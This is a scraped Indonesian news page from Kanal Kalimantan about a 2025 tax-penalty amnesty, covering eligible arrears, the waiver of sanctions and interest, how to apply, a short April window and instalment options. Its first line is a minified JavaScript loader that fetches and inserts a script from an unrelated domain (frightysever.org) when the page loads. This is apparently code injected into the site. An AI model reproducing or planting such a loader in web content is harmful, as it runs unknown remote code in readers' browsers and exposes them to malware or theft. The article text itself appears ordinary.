(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!


KANALKALIMANTAN.COM – Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan para wajib pajak sekaligus mendongkrak penerimaan negara.

Melalui kebijakan ini, para wajib pajak diberikan kesempatan untuk melunasi tunggakan pajak mereka tanpa dikenakan sanksi administratif maupun bunga keterlambatan.

Apa Itu Pemutihan Denda Pajak?

Baca juga: Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

Mengacu pada informasi yang dirilis laman resmi Direktorat Jenderal Pajak (DJP), pemutihan denda pajak merupakan kebijakan yang memberikan keringanan berupa penghapusan denda, bunga, serta sanksi administratif yang timbul akibat keterlambatan pembayaran pajak.

Tujuannya adalah untuk memperbaiki tingkat kepatuhan pajak masyarakat yang masih rendah serta memberikan kemudahan bagi wajib pajak dalam memperbaiki kondisi keuangan mereka tanpa beban tambahan.

Program ini dapat dimanfaatkan oleh wajib pajak yang terdaftar di DJP, baik individu maupun badan usaha, dengan sejumlah ketentuan tertentu.

Selain meringankan beban pajak yang tertunggak, program ini juga diharapkan dapat membantu pelaku usaha dalam menata kembali administrasi perpajakannya secara lebih baik.

Baca juga: Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

Ketentuan Umum Pemutihan Denda Pajak 2025

Dilansir dari laman pajak.go.id, berikut poin-poin penting yang perlu diketahui oleh wajib pajak mengenai ketentuan program pemutihan tahun 2025:

1. Jenis tunggakan yang dapat diampuni

Pemutihan ini berlaku untuk tunggakan pajak yang tercatat hingga akhir tahun 2024. Baik utang pajak yang sudah ditetapkan maupun yang masih dalam proses pemeriksaan tetap dapat diikutkan dalam program ini.

2. Pembebasan sanksi administratif dan bunga

Wajib pajak yang berpartisipasi akan dibebaskan dari sanksi administratif serta bunga atas keterlambatan pembayaran pajak.

Ini menjadi peluang besar bagi wajib pajak untuk menyelesaikan kewajiban dengan nominal yang lebih ringan.

Baca juga: Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

3. Syarat dan prosedur pengajuan

Untuk mengikuti program ini, wajib pajak perlu mengajukan permohonan secara resmi melalui sistem yang disediakan DJP. Pengajuan bisa dilakukan secara daring melalui situs resmi DJP atau langsung di kantor pelayanan pajak terdekat.

Beberapa dokumen yang harus disiapkan antara lain adalah bukti tunggakan pajak dan surat permohonan lengkap.

4. Periode pelaksanaan program

Program ini hanya berlangsung dalam kurun waktu singkat, yakni mulai tanggal 8 April 2025 hingga 11 April 2025. Oleh karena itu, pemerintah mengimbau agar wajib pajak segera memanfaatkan kesempatan ini dan tidak menunda-nunda penyelesaian kewajibannya.

5. Pajak yang termasuk dalam program

Tidak semua jenis pajak tercakup dalam pemutihan ini. Beberapa jenis pajak yang bisa mendapatkan keringanan meliputi pajak penghasilan (PPh), pajak pertambahan nilai (PPN), dan pajak daerah.

Baca juga: Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

Sementara itu, pajak terkait pelanggaran pidana serta pajak dari sektor tertentu seperti pertambangan tidak termasuk dalam kebijakan ini.

6. Opsi pembayaran secara angsuran

Selain pembebasan sanksi, program ini juga memberikan fleksibilitas bagi wajib pajak untuk melakukan pelunasan secara bertahap melalui skema angsuran. Fasilitas ini sangat membantu, terutama bagi pelaku usaha yang mengalami keterbatasan likuiditas.

Dengan diberlakukannya program pemutihan denda pajak ini, pemerintah berharap masyarakat dapat lebih aktif dalam menunaikan kewajiban perpajakan tanpa terbebani oleh sanksi yang menumpuk. (Kanalkalimantan/Beritasatu.com)

Editor: kk


Risa

Recent Posts

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

2 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

3 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

6 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

8 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

10 jam ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

23 jam ago